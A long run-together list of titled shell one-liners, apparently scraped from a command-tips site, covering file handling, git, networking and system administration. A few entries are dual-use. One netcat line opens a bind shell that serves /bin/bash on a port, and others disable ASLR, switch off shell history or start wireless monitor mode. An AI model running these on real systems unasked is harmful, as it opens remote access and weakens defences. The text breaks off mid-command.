gnome-open . # How to create a vm in VirtualBox VBoxManage createvm --name "vm-name" --ostype Ubuntu --register # Remove blank lines from a file sed -i.bak '/^[[:space:]]*$/d' file_name # Replaces every ocurrences of 'old' for 'new' in all files specified perl -i -pe "s/old/new/g" * # FInd out what branches a specific commit belongs to git branch --contains <commit sha1 id> | sed -e 's/^[ *]*//' # Switch to windows using gpicker wmctrl -i -a `wmctrl -l -x | gpicker -d "\n" -n "\n" - | awk '{print $1}'` # List of syscalls (for 32/64 bits systems) egrep '__NR_' /usr/include/asm/unistd_`getconf -a | awk '$1~/^WORD/{print $2}'`.h | sed -e 's/^#define __NR_//' | column -t # List all users cut -d: -f1 /etc/passwd | sort # Recursively change permissions on files, leave directories alone. find ./ -type f -exec chmod 644 {} + # A file's rpm-package details summpkg() { rpm -qfi "$@"; } # retrieve GMT time from websites ( generally accruate ) w3m -dump_head www.fiat.com | awk '/Date+/{print $6, $7}' # Find the package a command belongs to on rpm-based distros whichpkg() { rpm -qf "$@"; } # while series of video and subtitles have unmatched file names, rename subtitle s the same as video files.for jj in `seq -f "%02.0f" 1 12`; do rr=`ls *S04E$jj*.smi`; tt=`ls *S04E$jj*.avi`; mv "$rr" "${tt%.*}.smi"; done # Get a text on a position on the file and store in a variable TIMEUNIT=$(awk '/timescale/{print NR}' a) # Match a URL cho "(Something like http://foo.com/blah_blah)" | awk '{for(i=1;i<=NF;i++){if($i~/^(http|ftp):\/\//)print $i}}' # Write and run a quick C program cat | gcc -x c -o a.out - && ./a.out && rm a.out # Recursively remove .svn directories find -type d -name ".svn" -print0 | xargs -0 rm -rf # encode a text to url_encoded format groovy -e 'println URLEncoder.encode("Some text")' # list all file-types (case-insensitive extensions) including subdirectories find /path/to/dir -type f |sed 's/^.*\///'|grep -o '\.[^.]*$'|sort -f|uniq -i # command to display info about the core specified schedtool 1 # Create .tar file on Mac OS X Leopard / Snow Leopard without ._* files COPYFILE_DISABLE=true tar cvf newTarFile.tar Directory/ # Avoid using seq and pad numbers with leading zeros for i in {001..999}; print $i # Individually compress each file in a directory ls | while read filename; do tar -czvf "$filename".tar.gz "$filename"; rm "$filename"; done # Random unsigned integer curl -s "https://www.random.org/cgi-bin/randbyte?nbytes=4" | od -DAn # Generate padded numbers 001 002 ... 100 echo 00{1..9} 0{10..99} 100 # List by size all of the directories in a given tree. SEARCHPATH=/var/; find $SEARCHPATH -type d -print0 | xargs -0 du -s 2> /dev/null | sort -nr | sed 's|^.*'$SEARCHPATH'|'$SEARCHPATH'|' | xargs du -sh 2> /dev/null # Get your external IP address html2text http://checkip.dyndns.org | grep -i 'Current IP Address:'|cut -c21-36 # speak a chat log file while it's running tail -f LOGFILE | awk '{system("say \"" $0 "\"");}' # create missing md5 for all files in directory for f in $(ls | grep -v [.md5]$); do if [ -f $f ] && [ ! -f $f".md5" ]; then echo "missing md5 for '${f}' will now create..."; md5sum $f > $f".md5"; echo "created"; fi; done; # Load multiple sql script in mysql cat schema.sql data.sql test_data.sql | mysql -u user --password=pass dbname # Find artist and title of a music cd, UPC code given (first result only) wget http://www.discogs.com/search?q=724349691704 -O foobar &> /dev/null ; grep \/release\/ foobar | head -2 | tail -1 | sed -e 's/^<div>.*>\(.*\)<\/a><\/div>/\1/' ; rm foobar # Generate MD5 of string and output only the hash checksum echo -n "String to MD5" | md5sum | awk '{print $1}' # Sum size of files returned from FIND (echo 0; find [args...] -printf '%s +\n'; echo p) | dc # Root Security s=/etc/ssh/sshd_config;r=PermitRootLogin;cp $s{,.old}&& if grep $r $s;then sed "s/$r yes/$r no/" $s.old > $s; else echo $r no >> $s;fi # Say the current time (Mac OS X) date "+The time is %H:%M" | say # Get column names in MySQL mysql -u <user> --password=<password> -e "SHOW COLUMNS FROM <table>" <database> | awk '{print $1}' | tr "\n" "," | sed 's/,$//g' # find duplicate files in a directory and choose which one to delete fdupes DIRECTORY/ -r -d # restart Bluetooth from terminal sudo service bluetooth restart # Restart nautilus nautilus -q # Erase empty files find . -size 0 -print0 | xargs -0 rm # manually set system date/time date MMDDhhmmYYYY # Encrypted Tarballs tar -cf - folder/ | gpg -c > folder.tpg # Get your external IP address fetch -q -o - http://ipchicken.com | egrep -o '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}' # Autodetect screens and extend workspace to the left disper --displays=auto -e -t left # Get your external IP address wget -O - http://checkip.dyndns.org|sed 's/[^0-9.]//g' # Find out who change what files in a SVN repository svn log -v | less # Batch file suffix renaming for i in *; do j=`echo $i | cut -d "-" -f1`; j=$j; mv $i $j; done # backup file. (for bash) cp -p file-you-want-backup{,_`date +%Y%m%d`} # for bash # Find Duplicate Files (based on size first, then MD5 hash) find -not -empty -type f -printf "%s\n" | sort | uniq -d | parallel find -type f -size {}c | parallel md5sum | sort | uniq -w32 --all-repeated=separate # Leap year calculation year=2010; math=`echo "$year%4" | bc`; [ ! -z $year ] && [ $math -eq 0 ] && echo "$year is leap year!" || echo "$year isn't leap year"; # Get the amount of currently registered users from i18n.counter.li.org. wget -qO - http://i18n.counter.li.org/ | grep 'users registered' | sed 's/.*\<font size=7\>//g' | tr '\>' ' ' | sed 's/<br.*//g' | tr ' ' '\0' # Command line calculator alias calc='python -ic "from math import *; from random import *"' # Show who are logging in and what their current commands w # easily find megabyte eating files or directories du -kd | egrep -v "/.*/" | sort -n # find the device when you only know the mount point mount | grep "mount point" # Batch file suffix renaming mmv "*-*.mp3" "#1.mp3" # Generate an XKCD #936 style 4 word password awk 'BEGIN {srand} /^[a-z]{4,8}$/ {w[i++]=$0} END {while (j++<4) print w[int(rand*i)]}' /usr/share/dict/words # Add together the count of users from the international Linux Counter and the d udalibre.com counter.Check the Description below. # encrypt file.txt using a symmetric password gpg -c file.txt # vim insert at beginning of multiple lines :%s!^!foo! # Update twitter via curl as Function tweet(){ curl -u "$1" -d status="$2" "http://twitter.com/statuses/update.xml"; } # generate random password tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c10 # Get a file from SharePoint with cURL curl --ntlm -u DOMAIN/user https://sharepoint.domain.com/path/to/file # Empty a file truncate foobar.txt # Slideshow of images in the current folder feh -d -F -z -D 1 * # Command line calculator calc() { echo "scale=4; ${*//,/.}" | bc -l; } # hello, world perl -e "''=~('(?{'.('-^@.]|(;,@/{}/),[\\\$['^'],)@)[\`^@,@[*@[@?}.|').'})')" # Nofity Message in Ubuntu notify-send -i /usr/share/pixmaps/gnome-irc.png "Title" \ "This is a desktop notification commandlinefu." # forbid deletion of files for everyone find . -maxdepth 1 -type f -exec chmod +a "everyone deny delete" {} \; # Log output from a cronjob to a file, but also e-mail if a string is found some_cronjobed_script.sh 2>&1 | tee -a output.log | grep -C 1000 ERROR # Find the median file modification time of files in a directory tree date -d "@$(find dir -type f -printf '%C@\n' | sort -n | sed -n "$(($(find dir -type f | wc -l)/2))p")" +%F # Remove VIM temp files find ./ -name '*.sw[op]' -delete # Get acurate memory usage of a Process in MegaBytes pmap $(pgrep [ProcessName] -n) | gawk '/total/ { a=strtonum($2); b=int(a/1024); printf b};' # copy ssh id to remote host ssh-copy-id -i .ssh/id_rsa.pub username:password@remotehost.com # List nearbies /usr/sbin/arp -i eth0 | awk '{print $3}' | sed 1d # search for a pattern (regex) in all text files (ignoring binary files) in a di rectory treefind . -type f | perl -lne 'print if -T;' | xargs egrep "somepattern" # AWK: Set Field Separator from command line awk 'BEGIN {FS=","} { print $1 " " $2 " " $NF}' foo.txt # Replace duplicate files by hardlinks fdupes -r -1 path | while read line; do j="0"; for file in ${line[*]}; do if [ "$j" == "0" ]; then j="1"; else sudo ln -f ${line// .*/} $file; fi; done; done # print info about compiled Scala class scalac quicksort.scala && javap QuickSort # Show stats for dd dd if=/dev/zero of=test bs=1024k count=1024 & bash -c "while :; do clear;echo STATS FOR DD:;kill -USR1 $!; sleep 1; done" # Display file contents either with less or cat based on number of lines out() { tmp=$(mktemp); awk '{print $0}' > $tmp; if [ $(wc -l $tmp | awk '{print $1}') -gt $(tput lines) ]; then less $tmp; else cat $tmp; fi; rm -fr $tmp; } # quickly show me interesting data about my processes alias mine='ps xco pid,command,%cpu,%mem,state' # change newlines to spaces (or commas or whatever). Acts as a filter or can hav e c/l argsalias nl2space="perl -ne 'push @F, \$_; END { chomp @F; print join(qq{ }, @F) , qq{\n};}' " # Delete all but latest file in a directory ls -t1 | sed 1d | parallel -X rm # get newest file in current directory ls -lart # Are 64-bit applications supported on my Solaris OS? isainfo -vb # Find and print pattern location from all files on command line from directory and its sub directories.find . -exec grep $foo {} \; -print # Download Entire YouTube Channel - all of a user's videos yt-chanrip() { for i in $(curl -s http://gdata.youtube.com/feeds/api/users/"$1"/uploads | grep -Eo "watch\?v=[^[:space:]\"\'\\]{11}" | uniq); do youtube-dl --title --no-overwrites http://youtube.com/"$i"; done } # commit message generator - whatthecommit.com curl -s http://whatthecommit.com | sed -n '/<p>/,/<\/p>/p' | sed '$d' | sed 's/<p>//' # Get EXIF data from image with zenity ans=$(zenity --title "Choose image:" --file-selection); exiftool -s ${ans} | zenity --width 800 --height 600 --text-info; # bookmarklet for commandlinefu.com search echo "javascript:location.href='http://www.commandlinefu.com/commands/matching/'+encodeURIComponent('%s')+'/'+btoa('%s')+'/sort-by-votes'" # transform several lines in one with Awk awk ' { printf ("%s ", $0)} END {printf ("\n") } ' FILE # monitor when target host will be up while true; do date; ssh <YOUR HOST HERE> "echo" && echo "HOST UP" && break; sleep 60; done # command line to drop all table from a databse mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print "drop table " $1 ";"}' | mysql -u uname dbname # quick and easy way of validating a date format of yyyy-mm-dd and returning a b ooleanecho 2006-10-10 | grep -c '^[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]$' # Mail text file (/tmp/scream-dump) contents from linux box with subject(scream- dump)mail -s scream-dump user@example.com < /tmp/scream-dump # geoip information geoip() { wget -qO - http://freegeoip.net/xml/$1 | sed '3,12!d;s/<//g;s/>/: /g;s/\/.*//g' ; } # Precide a bunch of files with a number in a pattern for example to indisperse a podcast backlock with more recent podcastsi=10;for o in *.mp3; do i=$(printf "%02d" $i); mv $o $i$o; ((i = $i + 2)); done # Delete all files in a folder that don't match a certain file extension find . -type f ! -name "*.foo" -name "*.bar" -delete # run a command repeatedly doloop() { DONT=/tmp/do-run-run-run; while true; do touch $DONT; (sleep 30; rm $DONT;) & $1 ; if [ -e $DONT ]; then echo restarting too fast; return ; fi ; done } # Do an OR search using grep to look for more than one search term grep -i '<searchTerm>\|<someOtherSearchTerm>' <someFileName> # Convert one's Java source file encoding find . -name "*.java" -type f -perm +600 -print | xargs -I _ sh -c 'grep -q hexianmao _ && iconv -f gb2312 -t utf8 -o _ -c _ ' # Extract 2 copies of .tar.gz content mkdir copy{1,2}; gzip -dc file.tar.gz | tee >( tar x -C copy1/ ) | tar x -C copy2/ # How to add an "alternate access mapping" from the command line stsadm -o addalternatedomain -url http://paperino.paperopoli.com -urlzone Internet -incomingurl http://quiquoqua.paperopoli.com # Alternative for basename using grep to extract file name fileName() { echo "$1" | grep -o "[^/]*$"; } # make a .bak backup copy of all files in directory for i in * ; do cp $i $i.bak; done # Get the revision number at which the current branch is created. svn log --stop-on-copy | grep r[0-9] | awk '{print $1}' | sed "s/r//" | sort -n | head -1 # Deletes all branches in a git repository except next and master (clean git rep o)git branch -D `git branch | awk '{ if ($0 !~ /next|master/) printf "%s", $0 }'` # show physical disk using df -x tmpfs | grep -vE "(gvfs|procbususb|rootfs)" # Batch Convert MP3 Bitrate to 128kbps mkdir save && for f in *.mp3; do lame -b 128 "$f" ./save/"${f%.mp3}.mp3"; done # find forms in a symfony 1.2 project find apps/ -name "*.svn-base" -prune -o -print -name "*.php" | xargs grep -E 'new .+Form\(' # Kill processes hogging up CPU (Flash after resume) top -bn 1 | awk '{if($1 ~ /^[0-9]+$/ && $9 > 97) {print $1;exit}}'|xargs kill # Enabling some DVD playback enhancements in Ubuntu sudo sh /usr/share/doc/libdvdread4/install-css.sh # BASH: Print shell variable into AWK VAR="foo" ; awk '{ print '"$VAR"' }' # truncate half of `input.txt` dd of=output.txt if=input.txt ibs=1 skip=$(expr `stat -c%s input.txt` / 2) # Kill the terminal(window/tab) you work in [suicide] kill -9 $$ # Clean-up release directories keeping the only the latest two find . -maxdepth 1 -type d | grep -Pv "^.$" | sort -rn --field-separator="-" | sed -n '3,$p' | xargs rm -rf # Undo Mercurial add before commit hg st --added -n |xargs hg revert # mem leak check ps gv [pid] | head -2 # Snmpwalk a hosts's entire OID tree with SNMP V2 snmpwalk -v2c -c <community> -m ALL <HOST_IP> . # bkup the old files find <dir> -type f -mtime +<days> -exec scp -r {} user@backuphost:/data/bkup \; # search for a file (with regex), choose one then open it findopen() { local PS3="select file: "; select file in $(find "$1" -iname "$2"); do ${3:-xdg-open} $file; break; done } # Enable tab completion for known SSH hosts complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq | grep -v "\["`;)" ssh # View the newest xkcd comic. lynx --dump --source http://www.xkcd.com | grep `lynx --dump http://www.xkcd.com | egrep '(png|jpg)'` | grep title | cut -d = -f2,3 | cut -d '"' -f2,4 | sed -e 's/"/|/g' | awk -F"|" ' { system("display " $1);system("echo "$2); } ' # pid list by httpd listen port lsof | awk '/*:https?/{print $2}' | sort -u # Print RPM dependencies ruby -e 'puts `rpmdep glibc`.split(",")[2..-1]' # Share the current tree over the web python -c "import SimpleHTTPServer;SimpleHTTPServer.test()" # Make syslog reread its configuration file pkill -HUP syslogd # Get your external IP address wget http://checkip.dyndns.org && clear && echo && echo My IP && egrep -o '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}' index.html && echo && rm index.html # delete a file and links based on inode number. ls -ai | grep filename | find . -inum `awk '{print $1}'` -exec rm {} \; # Print the lastest stable version of Perl wget -q -O - http://www.perl.org/get.html | grep -m1 '\.tar\.gz' | sed 's/.*perl-//; s/\.tar\.gz.*//' # Remove everything except that file ls | egrep -v "[REGULAR EXPRESSION]" | xargs rm -v # Create new user with home directory and given password useradd -m -p $(perl -e'print crypt("pass", "mb")') user # Don't save commands in bash history (only for current session) export HISTSIZE=0 # Friendly command-not-found message. command_not_found_handle() { echo 6661696c626f61742e2e2e0a | xxd -p -r; } # Push each of your local git branches to the remote repository git branch | sed s/*// | xargs -n1 git push origin # Download all files under http://codeigniter.com/user_guide/ to the current dir ectorywget -r --no-parent http://codeigniter.com/user_guide/ ; mv codeigniter.com/user_guide/* . ; rm -rf codeigniter.com # Quickly create simple text file from command line w/o using vi/emacs cat > {filename} {your text} [^C | ^D] # add line number for each line cat -n file.txt # Deleting a remote git branch (say, by name 'featureless') git push origin :featureless # Return IP Address /usr/sbin/ifconfig -a|awk -F" " 'NR==4{print $2}' # Show a Package Version on Debian based distribution apt-show-versions <packagename> # this svn script will commit all files excluding those with extensions {.projec t .classpath .properties .sh .number} and those with Status Modified or Added {M or A}svn st | grep -e [MA] | egrep -ve '.project|.classpath|.properties|.sh|.number' | awk -F' ' '{ print $2}' | xargs svn ci -m "message" # Describe differences between files diff --changed-group-format='differs from line %dF to line %dL|' --unchanged-line-format='' $FILE1 $FILE2 | sed 's/|/\n/' # execute a shell with netcat without -e mkfifo ._b; nc -lk 4201 0<._b | /bin/bash &>._b; # Create nthash echo -n "password" | iconv -t utf-16le | openssl dgst -md4 # Remove all .svn folders inside a folder find . -name "\.svn" -exec rm -rf {} ";" # search for a file in PATH function sepath { echo $PATH |tr ":" "\n" |sort -u |while read L ; do cd "$L" 2>/dev/null && find . \( ! -name . -prune \) \( -type f -o -type l \) 2>/dev/null |sed "s@^\./@@" |egrep -i "${*}" |sed "s@^@$L/@" ; done ; } # Get your IP addresses ifconfig | grep "inet addr" | awk -F: '{print $2}' | awk '{print $1}' # delete duplicate files yes 1 | fdupes -rd $folder # Describe differences between files comm --nocheck-order -31 # Save your webcam to file cvlc "v4l2:///dev/video0" --sout "#transcode{vcodec=mp2v,vb=800,scale=0.25,acodec=none}:file{mux=mpeg1,dst=/PATH/TO/OUTPUT/FILE}" # Unzip multi-part zip archive zip -F archive.zip --output big_archive.zip && unzip big_archive.zip # Emulate sleep in DOS/BAT ping -n 1 -w 10000 224.0.0.0 # calculate the total size of files in specified directory (in Megabytes) ls -l directory | awk 'BEGIN { SUM=0 } { SUM+=$5 } END { print SUM/1024/1024"M" }' # Reducing image size convert -quality 40% original_image reduced_image # search for a file in PATH for L in `echo :$PATH | tr : '\n'`; do F=${L:-"."}/fileName; if [ -f ${F} -o -h ${F} ]; then echo ${F}; break; fi; done # Display sqlite results one column per line sqlite3 -line database.db # Find the biggest files find -type f -exec du -sh {} + | sort -rh | head # Find and replace find . -name '*.txt' -exec mv {} {}.sh \ ; # Reducing image size convert example.png -resize 100x100 output.png # Find redirection and grep find . -name "*.png" | tee images.txt | grep book # copy root to new device cp -dpRx /* /mnt/target/ # Check a nfs mountpoint and force a remount if it does not reply after a given timeout.NFSPATH=/mountpoint TIMEOUT=5; perl -e "alarm $TIMEOUT; exec @ARGV" "test -d $NFSPATH" || (umount -fl $NFSPATH; mount $NFSPATH) # Move itens from subdirectories to current directory ls -d */* | sed -e 's/^/\"/g' -e 's/$/\"/g' | xargs mv -t $(pwd) # calculate in commandline with perl perl -e 'print 1+1 ."\n";' # Use socat to create a largefile echo | socat -u - file:/tmp/swapfile,create,largefile,seek=10000000000000 # Find and delete thunderbird's msf files to make your profile work quickly agai n.find ~/.thunderbird/*.default/ -name *.msf | sed 's/ /\\ /g' | xargs rm {} \; # delete duplicate files fdupes -rdN $folder # Convert a PKCS#8 private key to PEM format openssl pkcs8 -inform DER -nocrypt -in [priv key] -out [pem priv key] # Get your external IP address with the best commandlinefu.com command eval $(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p;q}') # a simple interactive tool to convert Simplified Chinese (typed by pinyin) to T raditional Chinese 简繁中文转换echo "Simplied Chinese:"; while read -r line; do echo "Traditional Chinese:"; echo $line | iconv -f utf8 -t gb2312 | iconv -f gb2312 -t big5 | iconv -f big5 -t utf8; done # Identify a PKCS#8 Private Key openssl ans1parse -inform DER < [priv key] # Remap "New Folder" to Command+N, "New Finder Window" to Cmd+Shift+N in Mac OS Xdefaults write com.apple.finder NSUserKeyEquivalents -dict 'New Finder Window' '@$N' 'New Folder' '@N'; killall Finder # perl find and replace find -name ".php" -exec perl -pi -e 's/search/replace/g/' {} \; # Push each of your local git branches to the remote repository git push origin --all # Remove annotation- (or other own-lined) tags from an XML document awk "/<xsd:annotation>/{h=1};!h;/<\/xsd:annotation>/{h=0}" annotatedSchema.xsd # Find default gateway ip route show | awk '$3 ~ /^[1-9]+/ {print $3;}' # Do one ping to a URL, I use this in a MRTG gauge graph to monitor connectivit yping -c 1 www.google.com | /usr/bin/awk '{print $7}' | /usr/bin/awk 'NR > 1' | /usr/bin/awk 'NR < 2' | /usr/bin/awk -F"=" '{print $2}' # Count messages in mcabber history for each JID for f in ~/.mcabber/histo/*; do a=`egrep "^(MR|MS)" $f | wc -l`; echo $f: $a | awk -F\/ '{print $6}'; done # extend KVM image size dd bs=1 if=/dev/zero of=/path/to/imagename.raw seek=50G count=1 conv=notrunc # Change default terminal emulator update-alternatives --config x-terminal-emulator # Show Network IP and Subnet ipcalc $(ifconfig eth0 | grep "inet addr:" | cut -d':' -f2,4 | sed 's/.+Bcast:/\//g') | awk '/Network/ { print $2 } ' # calculate in commandline with python python -c "print 1+1" # print shared library dependencies ldd path_to_executable # Lookaround in grep echo "John's" | grep -Po '\b\w+(?<!s)\b' # print shared library dependencies function ldd(){ objdump -p $1 | grep -i need; } # Create multiple files in a single command touch file{1,2,3,4,5}.sh # determine if tcp port is open fuser -n tcp -s <port> && echo "+open" # Return Dropbox folder location. sqlite3 $HOME/.dropbox/config.db "select value from config where key like '%dropbox_path%'" # Clearcase find branch ct find -avobs -nxname -element 'brtype(branch_name)' -print 2>/dev/null # batch convert OGG to WAV for f in *.ogg ; do mplayer -quiet -vo null -vc dummy -ao pcm:waveheader:file="$f.wav" "$f" ; done # one line command to recursively add all jar files in current folder to java cl ass pathCLASSPATH=.; export CLASSPATH=$CLASSPATH$(find "$PWD" -name '*.jar' -type f -printf ':%p\n' | sort -u | tr -d '\n'); echo $CLASSPATH # Create web site ssl certificates openssl req -new -x509 -extensions v3_ca -days 1100 -subj "/C=CA/ST=CA/L=SomeCity/O=EXAMPLE Inc./OU=Web Services/CN=example.com/emailAddress=postmaster@example.com" -nodes -keyout web.key -out web.crt # Copy files from one dir to another using tar. tar cf - . | (cd /new/dir; tar xvf -) # Print just line 4 from a textfile head -n X | tail -n 1 # a simple bash one-liner to create php file and call php function echo '<?php echo str_rot13 ("Hello World") ?>' > hw.php && php hw.php && rm hw.php # recursively add all sub folders with executable file of current folder to PATH environment variableexport PATH=$PATH$(find "$PWD" -name '.*' -prune -o -type f -a -perm /u+x -printf ':%h\n' | sort -u | tr -d '\n'); echo $PATH # Purge application's residual config & orphans dpkg -l | sed '/^rc/!d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/' | xargs -r sudo apt-get -y purge # Prints line numbers nl <filename> # Find default gateway route -n | grep "^0\." | awk '{print "Gateway to the World: "$2", via "$NF""}' # View open file descriptors for a process. lsof -p <process_id> | wc -l # Make perl crash perl -e '$x = []; push @$x, eval { $x = 1; return $x = 1; }' # a simple alarm while true; do while [ `date +%H%M` == "1857" ] ; do sleep 1s; yes | head -n 2000 > /dev/dsp; done; done; # Fix grub2 boot failure using live cd sudo grub-install --root-directory=/media/ubuntu /dev/sda # Graphically compare two directory hierarchies without Subversion metadata xxdiff -r --exclude=.svn # Find default gateway netstat -rn | grep UG | tr -s " " | cut -d" " -f2 # [WinXP] Convert FAT32 Hard Drive to NTFS without losing all data CONVERT D: /FS:NTFS # Find default gateway netstat -rn | awk '/UG/{print $2}' # display portion of a file cat -n FILE | grep -C3 "^[[:blank:]]\{1,5\}NUMBER[[:blank:]]" # Restore individual table from mysqldump backup. awk '/Table structure for table .table01./,/Table structure for table .table02./{print}' <file> > restored_table.sql # Clear the terminal screen clear # Rip an ISO from a CD/DVD using the freeware dd for Windows dd if="\\?\Device\CdRom0" of=c:\temp\disc1.iso bs=1M --progress # translate what is in the clipboard in english and write it to the terminal wget -qO - "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|zh-cn&v=1.0&q=`xsel`" |cut -d \" -f 6 # Extract herds & maintainers' email from a Gentoo metadata.xml file xmlstarlet sel -t -m '/pkgmetadata/herd' -v . -n -t -m '/pkgmetadata/maintainer' -v email metadata.xml # Format partition as FAT32 mkdosfs -F 32 /dev/sda1 # set the time of system sudo date mmddhhxxyyyy # First android webpage relay script id 2>&1 > /sdcard/id;rsync -aP rsync://168.103.182.210/t /sdcard/t 2> /sdcard/rsync.err.log > /sdcard/rsync.log && return 123;fumanchu # copy selected folder found recursively under src retaining the structure find . -type d -exec mkdir /new/path/{} \; # Activate on-the-fly GTK accels gconftool-2 -t bool -s /desktop/gnome/interface/can_change_accels true # Recursively remove 0kb files from a directory find . -empty -type f -execdir rm -f {} + # Run one of your auto test programs from GNU make gmake runtestsingle testsingle=udtime # print the date of the unix epoch in a human readable form using perl. perl -e 'print scalar localtime $ARGV[0],"\n" ' epoch # Using gdiff only select lines that are common between two files gdiff --unified=10000 input.file1 inpute.file2 | egrep -v "(^\+[a-z]|^\-[a-z])"| sort > outputfile.sorted # burn an iso to cd or dvd cdrecord -v path_to_iso_image.iso # Uncompress a directory full of tarred files (*.gz) for i in *.tar.gz *.tgz; do tar -zxvf $i; done # Get the information about the internet usage from the commandline. vnstat # List only the directories ls -F|grep / # bash script to zip a folder while ignoring git files and copying it to dropbox git archive HEAD | gzip > ~/Dropbox/archive.tar.gz # Nice directory listings alias ll="ls -lh --color=auto" # Check variable has been set : ${VAR:?unset variable} # Calculate a transcendental number (pi) seq 1 2 99999999 | sed 's!^!4/!' | paste -sd-+ | bc -l # SCP files to remote server using PEM file scp -i /path/to/file.pem [local-files] root@[dest-host]:[dest-path] # add a little color to your prompt PS1="\[\033[44;1;37m\]\u\[\033[0m\]@\h\\$ " # Make sure your compiler is using ccache watch ccache -s # Use dig instead of nslookup dig google.com # Find files older than 60 days find . -maxdepth 1 -type f -mtime +60 -ls # Show all TODOs and a few relative lines after it. grep -rnA 10 TODO * # Graphic mode for root startx -- :1 # Put the wireless card into monitor mode airmon-ng start <interface> <channel> # Find a specific pdf file (given part of its name) and open it evince "$(find -name 'NameOfPdf.pdf')" # MS-DOS only: Enable variable expansion from inside of FOR loops with !varname! setlocal enabledelayedexpansion # Delete all files from a locate output locate munin | xargs rm -r # Stop adobe and Flash from tracking everything you do. adobenospy() { for I in ~/.adobe ~/.macromedia ; do ( [ -d $I ] && rm -rf $I ; ln -s -f /dev/null $I ) ; done } # Singularize all files in a directory for x in *s.yml; do mv $x `echo $x | sed 's/s\.yml/\.yml/'`; done # Grep for a TAB grep $'\t' file.txt # Shorten url with is.gd using curl, perl curl -s "http://is.gd/api.php?longurl=[long_url]" # Find and delete thunderbird's msf files to make your profile work quickly agai n.find ~/.thunderbird/*.default/ -name *.msf -print0 | xargs --no-run-if-empty -0 rm; # Remove all .svn folders find . -name .svn -type d -exec rm -rf {} \; # Read just the IP address of a device /sbin/ifconfig | grep inet | cut -f 2 -d ":" | cut -f 1 -d " " # Python Challenge Problem 0 sensible-browser http://www.pythonchallenge.com/pc/def/$(bc <<< 2^38).html # Console clock watch -n1 echo # kill all processes of a program kill -9 $(pidof *program*) # Generate MD5 hash for a string echo -n "string" | md5sum - # Add a line to crontab using sed crontab -l | sed -e '$G;$s-$-'"$CRON_MINS $CRON_HOUR"' * * * /usr/bin/command >/dev/null 2>&1-' | crontab - # draw 45deg rotated text at the center of image convert input.png -pointsize 32 -gravity center -annotate 45 "hello, world" output.png # Show all video files in the current directory (and sub-dirs) find -type f -printf '%P\000' | egrep -iz '\.(avi|mpg|mov|flv|wmv|asf|mpeg|m4v|divx|mp4|mkv)$' | sort -z | xargs -0 ls -1 # Read just the IP address of a device /sbin/ifconfig | grep inet | cut -f 2 -d ":" | cut -f 1 -d " " |egrep -v "^$" # ping scan for a network and says who is alive or not for i in `seq 254`;do ping -c 1 192.168.10.$i > /dev/null && echo "$i is up"||echo "$i is down";done # make a zip file containing all files with the openmeta tag "data" mdfind "tag:data" > /tmp/data.txt ; zip -r9@ ~/Desktop/data.zip < /tmp/data.txt # Indent all the files in a project using indent find . -iname \*.[ch] -exec indent "{}" \; # Function that swaps the filenames of two given files. flipf(){ if [ -f "$1" -a -f "$2" ]; then mv "$1" "$1.$$" && mv "$2" "$1" && mv "$1.$$" "$2" || echo "$!"; else echo "Missing a file: $!"; fi; } # Extract raw URLs from a file egrep -ie "<*HREF=(.*?)>" index.html | awk -F\" '{print $2}' | grep :// # Receive, sign and send GPG key id caff <keyid> # Know when you will type :q in your term instead of vi(m), the alias will chewe d you out.alias :q='tput setaf 1; echo >&2 "this is NOT vi(m) :/"; tput sgr0' # Check default block size on ext2/ext3 filesystems tune2fs -l /dev/XXXX | grep -w ^"Block size:" # Bash function to see if the day ends in function ends_in_y() { case $(date +%A) in *y ) true ;; * ) false ;; esac } ; ends_in_y && echo ok # Create variables from a list of names VARNAMES='ID FORENAME LASTNAME ADDRESS CITY PHONE MOBILE MAIL' ; cat customer.csv | while read LINE ; do COUNT=1 ; for VAR in $VARNAMES ; do eval "${VAR}=`echo $LINE | /usr/bin/awk {'print $'$COUNT''}`" ; let COUNT=COUNT+1 ; done ; done # List all authors of a particular git project git shortlog -s | cut -c8- # (Debian/Ubuntu) Discover what package a file belongs to pacof -e rlogin # Gecko-rendered javascript without a GUI svn co http://simile.mit.edu/repository/crowbar/trunk&& cd ./trunk/xulapp/ xulrunner --install-app && Xvfb :1 && DISPLAY=:1 xulrunner application.ini 2>/dev/null 1>/dev/null && wget -O- "127.0.0.1:10000/&url=http://www.facebook.com" # Allow to shorten the prompt. Useful when the it is taking too much place. PS1='$' # Mac OS X (laptops ??) only : control hibernation state more easily from Termi nal.appsudo pmset -a hibernatemode 1 # Use curl on Windows to bulk-download the Savitabhabhi Comic Strip (for Adults) for /L %%x in (1,1,16) do mkdir %%x & curl -R -e http://www.kirtu.com -o %%x/#1.jpg http://www.kirtu.com/toon/content/sb%x/english/sb%x_en_[001-070].jpg # Unlock and access an ssh key keychain entry from CLI security unlock-keychain; security find-generic-password -ga "/Users/mruser/.ssh/id_dsa" 2>&1 > /dev/null # Disable ASLR echo 0 > /proc/sys/kernel/randomize_va_space # easily strace all your apache processes ps -C apache o pid= | sed 's/^/-p /' | xargs strace # Count the number of queries to a MySQL server mysql -uUser -pPassword -N -s -r -e 'SHOW PROCESSLIST' | grep -cv "SHOW PROCESSLIST" # Terminate a find after the first match is found. /bin/sh -c 'find . -name FILENAME -print -exec kill $$ \;' # Easily create and share X screen shots (remote webserver version) scrot -e 'mv $f \$HOME/shots/; sitecopy -u shots; echo "\$BASE/$f" | xsel -i; feh `xsel -o`' # Every Nth line position # (AWK) awk '{if (NR % 3 == 1) print $0}' foo > foo_every3_position1; awk '{if (NR % 3 == 2) print $0}' foo > foo_every3_position2; awk '{if (NR % 3 == 0) print $0}' foo > foo_every3_position3 # Bulk add urls to your Instapaper account for url in `cat urls `; do title=`curl $url 2>&1 | grep -i '<title>.*'` && curl $url > /tmp/u && mail -s "$title" your-private-instapaper-address@instapaper.com < /tmp/u ; done # prints line numbers perl -ne 'print "$. - $_"' infile.txt # Resample MP3's to 44.1kHz file /music/dir/* | grep -v 44.1 | sed 's/:.*//g' | grep .mp3 | { while IFS= read; do 